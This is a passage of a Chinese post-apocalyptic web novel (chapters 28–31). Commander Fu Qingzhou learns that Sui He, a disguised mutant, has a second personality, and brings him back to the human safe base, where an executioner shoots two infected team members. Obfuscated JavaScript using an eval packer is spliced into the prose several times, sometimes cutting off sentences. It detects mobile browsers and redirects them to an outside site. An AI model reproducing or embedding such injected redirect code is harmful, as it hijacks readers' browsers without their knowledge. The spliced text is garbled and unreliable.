说好要远离的,结果这人一跟他装委屈,傅清洲什么办法都没有了。 岁禾咂咂嘴,不知道是不是梦见什么好吃的了,但在傅清洲的印象里,岁禾只会对着那一块黑色的晶核说好吃,其他的东西却一直没夸过。 哦对,还有他那次烤的鱼。 异种吃人类的食物会习惯吗? 以前的傅清洲想事情很简单,可遇到岁禾之后,他才发觉自己的脑子如此的精彩,考虑各种各样的事情。 因为要想的事情太多了,傅清洲一直到很晚都没有睡着。一直等到快天亮的时候,他才堪堪合上眼,结果一直乖巧地窝在他怀里的岁禾动了动,把他吵醒了。 傅清洲缓缓睁开眼,看着慢慢站起来的岁禾,伸手拽了一下,对方并没有反应。 这入他更加疑惑了,岁禾不会不理他的。 傅清洲想起身跟上去,看看他到底想干嘛。接着微弱的月光,傅清洲这才看清地上的到处绕着的粉色藤蔓。而藤蔓的每一个根系都连接着一个队员,包括他自己。 这是怎么回事? 傅清洲专注看着自己手腕上绕着的粉色藤蔓,只看见细小的枝条扎入自己的皮肤…… 这是在吸血? 岁禾吸血干嘛?为什么还要吸所有人的血?这到底是在干嘛? 进行某种仪式吗? 亦或者是想趁着夜深人静把他们都杀掉? 傅清洲不敢赌,也不敢赌岁禾是不是真的想杀他们,所以他手心幻化出冰剑,把蔓生藤蔓的总根系劈过去,藤蔓碎裂开来。 紧接着他跟出去找岁禾,月光下,岁禾正慢慢地往前走,和行尸走肉没什么两样。 这并不像是平日里的岁禾。 是藏在心里的那个红色眼睛的岁禾又出来了吗? 或许是藤蔓被劈开的,岁禾感知到了,缓缓地回头看了一下屋里的人,以及跟在自己身后的傅清洲。 因为这个回头,傅清洲才注意到岁禾并没有睁眼,平日里那双亮晶晶的渐变色的眸子此时此刻是紧闭着的。 微风吹拂下,他额前的碎发跟着摆动了一下,光影在他脸上来回变化,傅清洲没在他脸上看见敌意。 这便放下心来。 那岁禾这到底是要做什么呢? 还没等傅清洲思考完这个问题,走在他前面的岁禾已经悄无声息地来到了傅清洲身后,速度快得让人看不见。 他真的很强。 起码在某种形态上。 傅清洲咽了咽口水,僵硬地回过头看向岁禾。 “我的、味道?”岁禾歪了歪脑袋,缓慢沙哑的声音从他嘴里吐出来,和白日里那个天真可爱会撒娇的语气完全不一样。 岁禾好像真的有两个形态…… 而这个形态下的岁禾好像更强。 岁禾抬起一只手落在傅清洲的胸口上,感受着他跳动的心脏。而傅清洲被眼前这个第二人格的岁禾压制得完全动弹不了。 好强的气场,比高级异变种还要强大的气场。 傅清洲额头上冒出冷汗,只能感受着岁禾在他胸口上乱摸的手,没感受到敌意,已经很不错了。 “心脏……”岁禾呢喃着:“原来如此……” 那就只能借点你的血用了。 岁禾睁开双眼,红色的眸子里在黑暗中格外的清晰,他挑起傅清洲的胳膊,藤蔓顺着他的胳膊缠绕了几圈。 傅清洲原本还疑惑着岁禾到底要干嘛,下一秒就感觉到手臂有些发麻,那些藤蔓又开始在吸血了。 这个过程不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这到底是什么情况? 眼前的岁禾睁着红色的眸子死死地盯着他,身上的光芒越来越强大,连手心里的藤蔓也变得更加圆润。 “希望他们没选错人。”岁禾淡淡地开口,“把手伸出来。” 傅清洲也不知道为什么要听他的话,但就是一句话都没说就已经把手伸出来了,那株粉红色的藤蔓从岁禾的手心慢慢地飘向傅清洲的手心。 粉色藤蔓开心地摆动枝条。 “种下去。”岁禾的语气依旧冷漠,“在这一堆尸体里面,把藤蔓种下去。” 傅清洲也不知道哪里来的肌肉记忆,捧着藤蔓的手一松,那一株藤蔓直直地掉在尸体堆里面。等他反应过来想去接住的时候,身边的岁禾也跟着一起摔倒。 他手忙脚乱地只能去接岁禾,而那株藤蔓直接没入了尸体堆里,在淡淡的光芒中冒出一堆嫩芽,疯狂地生长。 傅清洲抱着晕过去的岁禾跌坐在地上,看着自己身上的光芒慢慢消失,看着那刚种下的藤蔓生根发芽,爬满了这一个破败不堪的村庄。 很稀奇的一个事情。 也很奇怪。 傅清洲垂眸看着怀里的人,伸出手缓缓摸向他的脸颊,低声呢喃着:“岁禾……你还有多少事情是我不知道的?” “又或者说,还有多少事情是连你自己都不知道的?” 可惜傅清洲的话语没有人能回答得了,怀里的人也只是默默地伸手搂住了傅清洲的脖子,砸吧着嘴睡得更香了。 傅清洲看着怀里的人,慢慢低下头,在他额头上落下一个轻柔的吻。 29. 第 29 章 日光透着无法闭紧的门窗射进来,在地板上折射出一道光线。 第一小队们度过了一个非常安宁的夜晚。 傅清洲怀里还抱着岁禾,眼底下浮现出黑眼圈,昨天他几乎是一晚上都没睡,有些事情发生得太突然了,很多事情也搞不明白。 一直乖巧窝在他怀里的岁禾揉了揉眼睛,也从睡梦中醒了过来。 “粥粥。”岁禾又闭上了双眼,把头埋进傅清洲的怀里。 “醒了就起来。”傅清洲没什么情绪地开口,“我不是你的枕头。” 岁禾撇撇嘴,“凶死了,枕头是什么?” 傅清洲抬手弹了一下他的额头,起身的时候顺便把他拉起来。 “嗷,我脚疼!”岁禾站定在地上,一阵疼痛让他呼出声,然后可怜兮兮地望向傅清洲。 “怎么回事?”傅清洲又蹲下身去,抓着他的脚踝仔细查看了一下,他的脚底有一道伤痕,上面还凝结着血。 大概是昨天晚上跑出去的时候弄到的,但傅清洲又不能说。 岁禾单脚站在地上,只能扶着傅清洲的背部保持平衡,他弯着腰,应该也看见了自己的伤口,于是问:“奇怪,我昨天睡觉前还好好的呀,怎么回事啊?” “不知道。”傅清洲抿着唇,招呼来何寻让她帮忙。 “收拾好东西,我们现在立刻启程回安全基地!”傅清洲厉声说完,扭头开始整理自己的背包和岁禾那转着晶核的背包。 外面的阳光格外的好。 岁禾坐在地上看着何寻给自己做治疗,扬起一抹笑,“谢谢你。” 何寻被他萌得不行了,感觉一天的心情都变好了,“没关系的,这都是我应该做的。” “嘁,一点小伤都需要叫治疗,我看也不过如此。”秦安哲收拾好自己的东西,路过他们的时候那张嘴依旧没完没了的。 岁禾的笑容一下子僵在脸上。 何寻也有些尴尬,看着他走远之后才低声安慰,“你别多想,秦副队就是这样的,毕竟你是因为走后台进的第一小队,所以他有些看不起你是很正常的。” “等到时候你恢复了,跟他切磋一下,把他打败了,他肯定不会再说什么了。” 岁禾看看秦安哲的背影,抿着唇点了点头。 梵溯起身伸了个懒腰,一扭头就瞥见逗自己开心的小宠物有些不开心,而刚刚自己又目睹了那一幕,于是走上前也跟着安慰着:“放心吧,你这么强,秦副队肯定打不过你的。” “我很菜的。”岁禾缓慢地开口,“我都没有梵烬哥哥强,他的火一下子就能把我的藤蔓给烧掉了。” 何寻“诶”了一声,“你是植物系异能者啊?那已经能摆脱一大部分人的异能者了。” “而且植物系异能者在安全基地里可是很多人抢着要的呢。”何寻微笑着解释:“这么说吧,植物系异能者和植物异变种差不多,都是稀有的存在。” 岁禾歪了歪头,“可是植物异变种好像也不稀有啊。” 在森林里就有很多。 何寻“啊”了一声,道:“忘记你们刚从森林里出来了,总之在陆地上,基本很少能看见植物异变种。” “这样啊。”岁禾似懂非懂地点点头,“我懂了,谢谢你。” 何寻又笑了一下,收拾好医药箱里的东西,“给你包扎了一下,不算很严重,但很容易感染。没什么事的话我就先走了。” 傅清洲正在整顿队伍,何寻收拾好东西之后立马打报告入队,而岁禾也一瘸一拐地走过来。 “走不了不会坐着等我吗?”傅清洲伸手扶了他一把,眉头皱紧,“真不知道说你什么好。” 岁禾靠在傅清洲身上“嘿嘿”傻笑着。 傅清洲朝着队伍的方向摆了摆手,示意大家可以自行离开了。然后他蹲在岁禾面前,面无表情地开口:“上来,带你回安全基地。” “你最好了。”岁禾连忙趴到他背上。 傅清洲没说什么,这些日子他都快习惯了。每次岁禾一累了他就会各种撒娇卖萌,他都不知道到底是谁教他这个本事的。 要说库里尔也不可能啊,在傅清洲的印象里,库里尔是一个很严肃的队长,不存在能教出岁禾这种性格的小孩子吧。 还有昨天晚上那个另一个性格的岁禾,傅清洲忽然有些看不懂了。 岁禾身上的秘密真的太多了。 一开始将他带出森林,把他带回安全基地的目的就是把他上交给两位博士。 但真的要交给上面吗? 傅清洲有些犹豫了。 “诶,队长跟岁禾到底是不是那种关系啊?”何寻撞了撞在自己面前的梵溯。 梵溯回头就看见何寻一脸八卦的神情,有些无奈地笑着:“寻姐,你别八卦了,队长只是把岁禾当小孩子而已,他比我和哥哥都小呢。” 双生子今年也才二十一岁,比他们还小的话…… 何寻又回头看了一眼身后的人,有些震惊地开口:“队长喜欢未成年!” 梵烬:“他二十了。” “哦哦哦。”何寻又扭头看了一眼,“但是怎么看都像未成年,那这也长得太嫩了吧?” 异种当然不一样了。 梵烬又回头看了一眼,傅清洲说只是把岁禾骗回安全基地,然后把他交给两位博士,后面的事情他再也不会管了。 但现在看傅清洲的样子,或许已经开始犹豫要不要把岁禾交给两位博士了。 研究院那边也不知道会不会发现岁禾的真实身份。 安全基地的执行官,岁禾又能否逃得过他的眼睛? 梵烬作为傅清洲身边的得力助手,自然是很了解自己的队长的。所以一开始他就提醒过傅清洲,会不会爱上异种。 因为有了这个念头,所以梵烬才会提醒。 可是看起来并没有用。 但梵烬不会多管闲事,只要不会伤害人类,那他不会说什么的。 从这一处村庄开始出发,第一小队的队员要重新回到之前所在的村庄,他们的装甲车和一些物资都在那边。 时间所剩不多,因为等傅清洲花了太多时间,所以他们更是马不停蹄地赶路。 回到一开始需要清剿的村庄时,太阳已经下山了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“所以他移植了主心脏给你,记得保管好,不然丢了这个世界可就危险了。” 傅清洲呼吸一滞,眉头微微皱起,刚想出声反驳,却被岁禾手动闭嘴了。 “别说什么你不信的话,我不是什么好人,但另外两个是。”岁禾又冷哼一声,“你以为为什么你能感受到我的不对劲,以为为什么在那天打架里,在这么大的雾里,你能看见路。” 傅清洲喉结滚动了一下,“那你们……” “我们?”岁禾却没在说什么了,只是看着手心的藤蔓变越发红艳之后,便停止了对傅清洲的束缚,把手心的藤蔓递过去给傅清洲。 “像昨天那样,种下去。” 傅清洲看着他,“有什么用?” “会有用的,只是不是现在。”岁禾说:“有个蠢货还不知道你已经发现了他的身份吧?自以为自己藏得很好,结果在自导自演罢了。” 傅清洲猛地看向他,“你都知道?” 岁禾傲娇地点点头,“你们之间发生的事情我都知道,我又不像他那样会失忆。” “但是……”傅清洲皱了皱眉,“骂他不就等于骂你自己吗?” 岁禾瞪着双眼看他。 30. 第 30 章 “队长!”梵溯的声音响起来。 岁禾立马警惕起来,他握住傅清洲的手,手心里带着屏障的粉色藤蔓瞬间被遮挡住。 梵烬率先瞥见远处的人,立马抬手捂住了梵溯的双眼。 一根藤蔓从墙角里冒出来,直直飞向双生子,梵烬捂着梵溯的眼睛,带着人躲开了攻击。 “诶,哥!你捂着我干嘛?” “等等,别动他们。”傅清洲抬手压制住岁禾的手。 岁禾冷哼一声,最后还是收手了,他盯着傅清洲的手心,道:“你自己解决,我走了。” “我还有事……”傅清洲的话还没说完,眼前的岁禾直直就晕过去了。傅清洲眼疾手快地接住他,随后看向梵烬,朝他点了点头。 “哥?”梵溯在再次开口。 梵烬干脆带着梵溯离开了。 傅清洲松了一口气,他单手托着已经晕过去的岁禾,弯腰把手里的种子扔进了泥地里,粉色的藤蔓没入泥地里消失不见。 做完这一切之后,傅清洲把岁禾抱起来往外走。 双生子正在远处等着他。 梵溯蹲在地上,手里拿着不知道从哪里捡来的树枝在地上画圈圈,活像一个怨妇在哪里嘀嘀咕咕的,“为什么不给我看?到底发生了什么?” “难道……队长真的跟岁禾在一起了?” 梵烬抬腿踹了一下他的屁股,冷漠道:“抬头。” 梵溯依言抬头,就看见了站在远处的傅清洲,瞬间吓得手里的树枝都扔了,连忙道:“队长,我刚刚就是开玩笑的,别当真啊。” 傅清洲朝他颔首,“把岁禾带回去,我和阿烬有事情要聊。” “哦。”梵溯起身接过他怀里的岁禾,十分幽怨地开口:“有什么事情是我不知道的吗?为什么非要瞒着我说啊?” 傅清洲一个眼神看过去,梵溯赶紧抱着人就跑了。 “我看见了。”梵烬开门见山,“但我不确定阿溯有没有看见。” 傅清洲点头,“我得到了一些消息。” “什么?” 两个人蹲在泥道里,傅清洲手里拿着刚刚梵溯丢下的树枝在地上画了一个圈,道:“岁禾,有三个人格。” 梵烬抬眼看向他,又低头看着他画的圈圈。 傅清洲低头又在里面画了两个对称的圆圈,右边的那个上面画了个问号,最后树枝落在最大的那个圆圈上。 “这个大概是主人格,也就是我们平常能见到的岁禾,刚刚攻击你们的是次人格,换句话来说,他可以随意挤号,把主人格挤下去。” “但是主人格不会知道这些事,他什么都不记得,所以很多秘密只有次人格知道,我们需要从次人格嘴里探出岁禾到底是什么身份,能不能拯救这个世界。” 梵烬听得有些乱,“那还有一个呢?” “暂时没见过。”傅清洲摇摇头,他看着地上那三个圆圈有些出神,回想到刚刚岁禾说的那些话,傅清洲至今还是有些不敢相信的。 自己已经死了。 心脏是岁禾的。 这两个巨大的信息实在是难以让人接受,如果只是前一个还好,傅清洲知道自己摔下悬崖那天受了多重的伤,所以自己死了还真有可能。 可偏偏他醒过来了,还没有因为伤口太严重而感染成异变种。 这些都有很大的问题,等他醒过来的时候自己身上的伤口已经好了,并且连伤口都没留下,如果不是在陌生的地方,看见了陌生的人,傅清洲都会以为自己是不是做了一个噩梦。 现在岁禾忽然告诉他,自己的心脏不是自己的,而是岁禾的。 任是谁都没办法接受这个事实吧? 梵烬抿着唇,缓缓开口,“昨天晚上我看见了。” “什么?” “我昨天没睡着,我看见岁禾起来了,他用藤蔓在吸大家的血,然后走出去。”梵烬说:“然后是你醒过来,又跟着过去。” “因为你过去了,所以我就没跟过去。”梵烬看着他,“队长,昨天晚上到底发生了什么事?” 竟然梵烬都看到了,傅清洲觉得也没有瞒着他的必要,于是仔细地把昨天晚上的事情大概率跟梵烬说了。 “种子?”梵烬皱着眉头。 虽然不知道有什么用,但傅清洲觉得这个种子肯定不会是什么坏事,甚至可能会对他们有好处。 傅清洲又把一些情报跟梵烬聊了一下,唯独瞒住了自己已经死亡的那件事。 “滴滴”两声,梵烬的通讯器响了起来,是梵溯打过来的电话。 “怎么了?”梵烬点了接听键,通讯器上方瞬间出现一个透明的屏幕,里面倒映着梵溯的脸。 “哥,你和队长什么时候回来?秦副队在催了,说我们得赶紧回去了。” 梵烬点头,“知道了,现在就回去。” 他起身的时候顺便挂了电话,然后朝傅清洲伸手,“队长,谢谢你跟我说这些,也谢谢你信任我。” “你和阿溯从进安全基地开始就跟着我了。”傅清洲把手搭在他手上,“你比他成熟,如果我哪天不在了,队长这个位置是留给你的。” 梵烬顿了一下,“我胜任不了。” “比秦安哲靠谱多了。” 傅清洲笑了笑,和他肩并肩地走回去。 为什么会忽然跟梵烬说这些呢,单纯是因为傅清洲确实信了岁禾说的那些话,自己的心脏是岁禾的,而不是做局的,他早就死了。 别人的东西,迟早是要还回去的。 回到集合点,装甲车早就已经准备好了,大家也都上好车,只等着傅清洲二人了。 “队长!哥!这边!”梵溯从装甲车里探出一个头,朝他们招了招手。 下一秒,梵溯的旁边又探出一个头,是岁禾,他扬着笑脸朝傅清洲喊道:“粥粥!” “咳咳。”何寻正在喝水,听见这个称呼的时候被呛了一下。 连秦安哲都怪异地看了他一眼。 二人三两下地翻上车,坐在梵溯留给他们的位置上。 岁禾连忙凑到傅清洲身边,挽着他的胳膊,“粥粥,你去哪了?我就是睡一觉起来你就不见了,阿溯说你和梵烬哥哥在聊很重要的事情,有什么事情是我不能知道的吗?” “就是就是,你俩肯定心里有鬼。” 梵烬有些无奈,然后朝岁禾道:“别这样叫我,怪别扭的。” “喔,那我叫你阿烬。”岁禾歪了歪头,然后又靠在傅清洲的肩膀上,“跟粥粥一起叫。” “坐好。”傅清洲抬手推了一下他的脑袋。 岁禾撇撇嘴,偏不听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849608|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的话,见傅清洲把自己的脑袋推开之后又继续把脑袋放回去,反反复复好几次根本不厌烦。 最后是傅清洲懒得理他了。 岁禾开心了,哼着不知名的小调,跟着一起前往那不知道是否危险的安全基地。 一抬头他就看见了秦安哲的视线,有些不爽地皱了皱眉,最后附在傅清洲的耳边小声开口:“那个人一直看着我,很不舒服。” 傅清洲跟着看过去,也对上了秦安哲的视线,后者笑了笑,“队长,没想到啊。” “第一,我们没什么关系。” “第二,这样盯着别人很不礼貌。我想秦副队应该懂得这个道理吧?” “当然。”秦安哲笑了笑,然后移开了视线。 岁禾又在傅清洲的耳边哼了两声,“这人说话的语气也很让人不爽。” “别对着我耳朵讲话。”傅清洲掐住他的脸,把他的脑袋转向梵溯,“跟他玩去。” 岁禾很不满地嘟着嘴,气鼓鼓地看着傅清洲。 这个人真的不懂什么叫做保持一下距离,对傅清洲来说简直就是折磨人。 在他耳边说话的时候,一个劲地朝着他的耳朵吹气,弄得傅清洲心痒痒的。 大概是发现了自己对岁禾的感情,又发现了岁禾有三个人格的事情,他一时间都不知道该怎么跟岁禾相处了。 眼前这个天真烂漫的是真正的岁禾,那那些次人格也是岁禾,只是气势完全不一样而已。 这个看起来呆呆的,还可爱,很容易就被一颗糖骗走了。 如果岁禾能进安全基地的话,会不会也很容易就被别人骗走? 末世来临之后,世界体系崩塌,强者生存弱者死亡,而普通人只能依存着异能者。 于是仰仗着异能者的队伍开始崛起,而那些被捧起来的异能者,除去军队里的那些,更多都是恶劣无比的人。 岁禾要是在里面,会不会被骗走? 或者说,傅清洲能得到岁禾的信任和喜欢完全是因为强大的能力和带着他抛逃离森林,但认识到全新的世界之后,他的认知也会跟着改变。 一个异种在人类世界里生存。 会变得艰难还是简单? 不知道库里尔给岁禾教了多少属于人类的知识,要是不小心暴露了身份他又该怎么办? 傅清洲咽了咽口水,感受着岁禾的脑袋抵着他的肩膀,温热的体温一直在灼烧着他,还有那张喋喋不休哼着调调的嗓子。 他忽然清醒地发现,自己在想了这么多想法里,根本就没有想把岁禾送进研究室给两位博士的想法。 有的只是想让岁禾伪装成人类生活,以及要如何在人类世界存活。 这个想法不太好,但傅清洲确实不太想把岁禾送进研究室里了。 如果可以的话,他好像更想把岁禾圈养在自己家里,哪也不给他去,更不让他去接受那两位博士。 张博士和安博士这么聪明,会一下子就猜到岁禾根本就不是人类吧? 那到时候岁禾会被抓进研究室里被解剖吗? 那样的结果傅清洲不太敢想。 他从一开始的想法是把岁禾送回安全基地,送进研究室,慢慢地演变成了他不想岁禾进研究室,想让他适应人类的世界。 好好地生存下来。 31. 第 31 章 人类的世界真的很奇特,对岁禾来说就是一个陌生的、全新的世界。 这里没有高大的树木,没有清澈的溪流,只有坍塌的楼房,破败的公路,以及路上零零碎碎的异变种。 在进行一路清剿之后,装甲车稳稳开进了一条黑色的隧洞里,早已架好枪在隧洞里等着的士兵把跟在身后扑来的异变种进行一阵扫射。 随后一道铁门缓缓落下。 穿过黑色的隧洞以后,眼前的视线也慢慢变得清晰起来,乌云飘过刚刚好遮住了天上本就不够明亮的太阳。 岁禾伸出一个脑袋开始打量这个地方,这里和刚刚他所看到的外面的世界完全不一样,应该就是傅清洲说的那样。 人类共同建立起的安全基地。 还没等他仔细看完,装甲车又稳稳停在了一边,紧接着大家陆陆续续都跟着下车了。 岁禾被傅清洲拽了一把之后才回过神来。紧接着傅清洲撑着装甲车的边缘跳下车。 而岁禾盯着看了一会儿,直挺挺地跳下去,踉跄了一下直接摔进了傅清洲怀里。 “你蠢吗?”傅清洲冷冷的声音在耳边响起来。 看起来和次人格说的也没什么区别,确实就是蠢。 岁禾撇撇嘴,“太高了。” 装甲车是改装过的,为了抵御异变种的袭击,所以改得有些高,而装甲车前面则是改成了带成尖刺的屏障,所以只要有异变种拦车的话,都会被刺穿。 几个人下车之后开始排成了两列队伍,傅清洲站在前方,身边是跟着的岁禾。 而两列队伍的带队是秦安哲和梵烬。 “第一小队?” 一道冷漠的声音从头顶向起来,岁禾抬头看了一眼,没看到人。只见傅清洲转过身,朝着身后城墙的方向敬了个礼,“沈执行官!” “傅指挥官!” 两个人互相敬了个礼,沈赫居高临下地看着他们,那双眼睛微微眯起来,视线落在第一小队的身上。 他身后还站着两位拿枪的士兵。 岁禾仰着头对上那双冰冷的眼睛,下意识就移开了视线。 那双眼睛太过冰冷了,和傅清洲的完全不一样,那视线让岁禾感到有些恐惧,像是被蛇盯上了一般,然后在无尽的黑暗中浑身冰凉发麻。 岁禾咽了咽口水,只觉得那道视线还在盯着他。所以他下意识地就躲到了傅清洲身后,而傅清洲似乎也发现了这个问题,侧头看了一眼岁禾。 会被发现吗? 四周安静得不行,大家都在等待着执行官的审判结果,任何异变种和被感染的人类都逃不开沈赫那双冷冰冰的眼睛。 越是安静得越久,傅清洲就越是担心害怕,如果岁禾被发现了,应该怎么办? 岁禾裹紧了傅清洲的衣角。 连第一小队的队员都屏住了呼吸。 他们从来没有经历过这么长时间的审判,像是跌进了十八层地狱一样煎熬,生怕自己身边的伙伴成为了异变种。 不知道过了多久,沈赫的视线终于从岁禾身上移开,转而落入队伍中的最后一个人。 那个人和沈赫对视上的时候,眼底明显有一些慌乱,手心攥紧了裤缝线,额头上冒出一点冷汗。 沈赫的视线再次移开,缓缓举起手枪,居高临下地看着城门外的那十几个队员。 傅清洲的心也跟着提起来。 两声枪声响彻长空,岁禾抓紧了傅清洲的衣角,随着声音闭紧了双眼,紧接着是周围的骚动。 第一小队死了两名队员。 沈赫放下枪,依旧看着他们,“傅指挥官,请跟我来,其他的可以进城了。” “粥粥……”岁禾睁开眼看着傅清洲。 “你跟着他们进去。”傅清洲抓着他的手,然后朝眼前的士兵颔首,那位士兵便带着他离开。 岁禾站在原地看着离开的傅清洲,随后又回头看着那些赶来清理尸体的士兵们,有些茫然无措。 自己这是逃过一劫吗? 岁禾咽了咽口水,不知道该怎么说了。 那两位死去的人身体抽搐了一下,果然众人面前幻化成异变种的模样,唯一保留着完整的人性是那颗脑袋,而他们的躯体已经被感染了。 “回去吧。”梵溯过来推了推他。 面对已经被感染的伙伴,他们也无能为力,只能眼睁睁地看着相处多日的伙伴变成一具死尸。 这个世界就是这个样子,不是你死就是我活,要是有太多的同情心,最后才是死得最惨的。 岁禾动了动唇,从前他看见的只是异变种的尸体,以及唯一一具自己看着腐烂发臭最后变成枯骨的库里尔。 被抬走的尸体里,那二人还睁着大眼睛不可置信地看着这一切,最后也没有人同情地为他们合上眼睛。 “你们……”岁禾咽了咽口水,却又不知道怎么开口。 按道理来说,岁禾作为一个孤身一人在森林里待久了的异种,看见同伴离去本不该有什么感觉,并且这些都不是岁禾的同伴,只是同行了一路的陌生人。 可偏偏独处惯了的人,心却是最软的。 “这样的结局我们早就看得多了,每次出任务回来总会要经历这一遭,如果不这样,那死去的就是城里面那些被保护起来的普通人。”梵溯慢慢跟着他一同前进。 过了一会儿又说,“你从小一直在森林里,应该没见过这些吧?可是森林不是更危险吗?” 岁禾摇了摇头,“不,森林里很安全,我和库里尔在那里过得很好。” 如果不是库里尔要带他出来,如果不是自己非要出来。 那库里尔就不会死。 “库里尔队长?”梵溯猛然回头,连梵烬的视线也落在他身上。 岁禾点头,“对,高高的,有着绿眼睛,和你们一样的衣服,对了,我还有他的名牌呢。” 他说着,从口袋里摸出那个从库里尔身上扯下来的绣着金边的名牌。 “只是,他……”岁禾垂着眸,“已经死了很久了。” 梵溯低头看了一眼,笑了笑,“没想到嘛,你这么容易心软的,但要记得我说的话,别对任何人心软,特别是异能者。” 虽然不懂梵溯为什么这么说,但岁禾还是点了点头。 “你要去哪?”梵烬忽然问他。 岁禾疑惑地看了他一眼,随后又摇了摇头,“我能在这里等粥粥回来吗?” “队长不会回来了。” “为什么?”岁禾发出疑问。 难道傅清洲就这么把他扔在这里了吗?可他对这片地方完全不熟悉,也不认识这里的人。 不可能的,傅清洲肯定会回来的吧? 看着他有些失落的样子,梵溯抬手挠了挠头,然后道:“也不是啦,不过队长被沈执行官带走的话,他们肯定会一起去医务室那边,然后再去找两位博士吧。” 最后肯定还要回总部汇报情况,这么多事情下来也不知道什么时候能结束呢。 但梵溯不太想打击他。 这个少年人看起来呆呆傻傻的。 “我们也要去汇报进度了,你要不随便逛逛?” 梵烬张了张嘴,道:“队长住在西巷那边,你可以去那边等他。” 说完之后,二人赶紧跟上小队的脚步离开了,只留下岁禾一个人站在城门口。 “喂,那边那个,你到底进不进的?”守着门口的士兵没忍住朝他开口,“再不进我就关门了啊。” 岁禾连忙回过神来,然后跟着小跑进去。 这座城市很大,是岁禾没有见过的东西,和路上那些被摧毁,变成废墟的地方完全不一样。 他刚踏进门口,身后的城门就缓缓的关上了。 他真的进来了人类的安全基地,是傅清洲的家。 人类建立起来的最后的文明。 傅清洲跟着士兵顺着楼梯走上城墙。沈赫把手里的枪递给士兵之后,也跟着走向傅清洲。 “请吧,指挥官大人。”沈赫朝他行了个礼,指着远处的一扇门,“医者已经等候你多时了。” 傅清洲笑了一声,拍了拍他的肩膀,“你知道我要回来?” 沈赫点了点他手腕上那已经碎裂掉的通讯器,“秦安哲可是有通讯器的,而且这是你父亲安排的事情,得知你还活着,大家都很高兴。” “但是,例行检查还是要做的,不然安全基地的强者变成了异变种,我们可没什么办法拯救。” 傅清洲和他肩并肩走着,“有什么异变种能逃得过你的眼睛?” “或许呢?”沈赫笑道。 傅清洲心里一下子咯噔起来,沈赫这句话说得凌磨两可的,而他也确确实实带了一个异变种回来。 “就比如,你身边的那个人……” 傅清洲侧头看向他,发现沈赫的视线已经不知道什么时候落在自己身上了。 “我就看不透。”沈赫说。 傅清洲顿时松了一口气,“那你为什么,放他进来?” “我相信你。” “并且,听说这是你在森林里救回来的一个小男孩,哦,好像还救了你和那对双生子的命?” “原来也有指挥官大人搞不定的事情吗?” 傅清洲闻言笑了一声,“秦安哲倒是什么都跟你说。” “不,这只是例行报告而已,总部的人都知道。”沈赫耸耸肩,“好了,我就送你到这儿了,剩下的流程该怎么走,指挥官大人应该还记得吧?” 除去给傅清洲临时加的医疗检查,剩下的流程他倒是记得清清楚楚。只是太久没回到这里了,傅清洲还有些感叹。 在森林里摸爬打滚了一阵,得知了很多有用的信息,还顺带提升了自己的能力。 或许傅清洲得到最不好的信息就是自己已经死了。 “顺带一提,指挥官大人。”沈赫临走前还说了一句,“你的身份我似乎也有些看不懂了。” “和你身边的那一位一样,难道说,指挥官大人的能力又提升了?” 虽然沈赫没看出来傅清洲身体的异常,也没看见他有被感染的倾向。但到底已经离开了太久了,而且在人人宣传着傅清洲死讯的时候,忽然又活着回来了。 其实傅清洲才是那个最可疑的人,但偏偏他没有被感染。 这让沈赫很奇怪。 更奇怪的是他看不透的傅清洲已经他身边的那个少年人。 或许可以找个机会去探一探底细。 毕竟在沈赫眼里,他看不透的人,除了太强大之外,好像并没有什么了。 年纪轻轻,能和傅总指挥官以及彼得副指挥官肩比的强者,可是少之又少。 傅清洲笑了笑没说话。 只是心底对岁禾次人格说的话又坚信了一番。 如果沈赫看不透岁禾,那或许是因为岁禾太强大了,又或者说是岁禾自己身上有什么本领能隐藏自己是异变种的身份。 而看不透他的话,或许是因为自己体内那关于岁禾的心脏。 看着沈赫走远了,傅清洲才转身敲开身后的门。 里面传来一道轻盈的声音,“请进。” 傅清洲推开门走进去,里面的两位女孩正在各忙各的,在看见傅清洲之后,连忙问候了一声,“指挥官大人。” “我来例行检查。”傅清洲摆了摆手,“不用太多繁杂的礼仪,尽早做完检查,我还要去汇报情况。” “好的!”粉发女孩连忙点头,“指挥官大人请躺在上面。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853762|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 另一个女孩推着仪器走过来,“这是安博士最新的发明,听说您回来了,就赶紧送过来了,说是让您先试试水。” 傅清洲在心底暗骂了两句那个老头,然后面无表情地开口:“是什么仪器?” “好像说能分析伤口和感染程度,现在轻微感染的异能者已经可以接受我们的治疗了,如果不行的话,执行官大人就会执行射杀。”粉发女孩慢慢地解释。 而一边的女孩一边操作仪器,一边接话,“指挥官大人先尝试一下吧。如果有异常的话我们要汇报给博士大人的。” “其实主要还是因为指挥官大人消失太久了,大家都会对您心存警惕,所以做个检查公告出去,大家才会安心呀。” 傅清洲没有多说什么,只是依言躺上了病床,等待着两位女孩开始操作仪器在自己身上摆弄。 